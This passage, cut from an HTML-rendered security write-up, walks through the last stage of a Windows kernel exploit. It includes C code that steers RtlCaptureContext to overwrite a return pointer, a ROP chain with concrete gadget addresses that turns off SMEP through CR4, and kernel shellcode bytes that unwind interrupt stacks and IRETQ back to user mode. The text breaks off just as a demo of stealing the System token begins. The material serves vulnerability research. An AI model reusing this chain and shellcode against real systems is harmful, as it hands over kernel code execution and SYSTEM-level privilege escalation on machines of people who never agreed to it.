&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;NextRetPtrStorage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PredictedNextRsp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Predict where the return pointer will be located at
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NextRetPtrStorage&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0xF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Prcb&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Offset_Prcb__Context&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NextRetPtrStorage&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Offset_Context__XMM13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Make RtlCaptureContext write XMM13-XMM15 over it
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a &lt;code&gt;[RETN]&lt;/code&gt; instruction.&lt;/p&gt;
&lt;p&gt;We need to load a register with a value we choose to set CR4 so XMM14 will point at a &lt;code&gt;[POP RCX; RETN]&lt;/code&gt; gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a &lt;code&gt;[MOV CR4, RCX; RETN;]&lt;/code&gt; gadget followed by a pointer to our shellcode.&lt;/p&gt;
&lt;p&gt;The final chain will look something like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;-- &amp;amp;retn; (fffff80372e9502d)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;-- &amp;amp;retn; (fffff80372e9502d)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;-- &amp;amp;pop rcx; retn; (fffff80372ed9122)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;-- cr4_nosmep (00000000000506f8)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;-- &amp;amp;mov cr4, rcx; retn; (fffff803730045c7)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;-- &amp;amp;KernelShellcode (00007ff613fb1010)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NON_PAGED_DATA&lt;/span&gt; &lt;span class="n"&gt;fnFreeCall&lt;/span&gt; &lt;span class="n"&gt;k_ExAllocatePool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;fnIRetToVulnStub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Cr4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;IsrStack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;ContextBackup&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NON_PAGED_DATA&lt;/span&gt; &lt;span class="n"&gt;BYTE&lt;/span&gt; &lt;span class="n"&gt;IRetToVulnStub&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov cr4, rcx ; cr4 = original cr4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rsp, rdx ; stack = isr stack
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x4C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rcx, r8 ; rcx = ContextBackup
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xFB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="c1"&gt;// sti ; enable interrupts
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCF&lt;/span&gt;      &lt;span class="c1"&gt;// iretq ; interrupt return
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NON_PAGED_CODE&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;KernelShellcode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__writedr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Cr4Old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__readgsqword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Offset_Pcr__Prcb&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Offset_Prcb__Cr4&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__writecr4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Cr4Old&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PredictedNextRsp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;StackDelta&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Unroll nested KiBreakpointTrap -&amp;gt; KiDebugTrapOrFault -&amp;gt; KiTrapDebugOrFault
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ISR_STACK&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CS&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ISR_STACK&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RIP&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x7FFFFFFEFFFF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__rollback_isr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// We are @ KiBreakpointTrap -&amp;gt; KiDebugTrapOrFault, which won&amp;#39;t follow the RSP Delta
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ISR_STACK&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CS&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="cm"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc40 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc48 0000000000000002
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc50 fffff00ed7a1bc68
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc58 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc60 0000000000000014
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc68 00007ff7e2261e95 --
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc70 0000000000000033
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc78 0000000000000202
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; fffff00e`d7a1bc80 000000ad39b6f938
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;StackDelta&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;KStub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;k_ExAllocatePool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IRetToVulnStub&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Np_memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KStub&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IRetToVulnStub&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IRetToVulnStub&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ------ KERNEL CODE ------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ------ KERNEL CODE ------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ISR_STACK&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RIP&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;fnIRetToVulnStub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KStub&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)(&lt;/span&gt; &lt;span class="n"&gt;Cr4Old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IsrStackIterator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ContextBackup&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can&amp;rsquo;t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete!&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s make a simple demo stealing the System token:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;SystemProcess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;k_PsInitialSystemProcess&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;CurrentProcess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;k_PsGetCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;CurrentToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;k_PsReferencePrimaryToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CurrentProcess&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
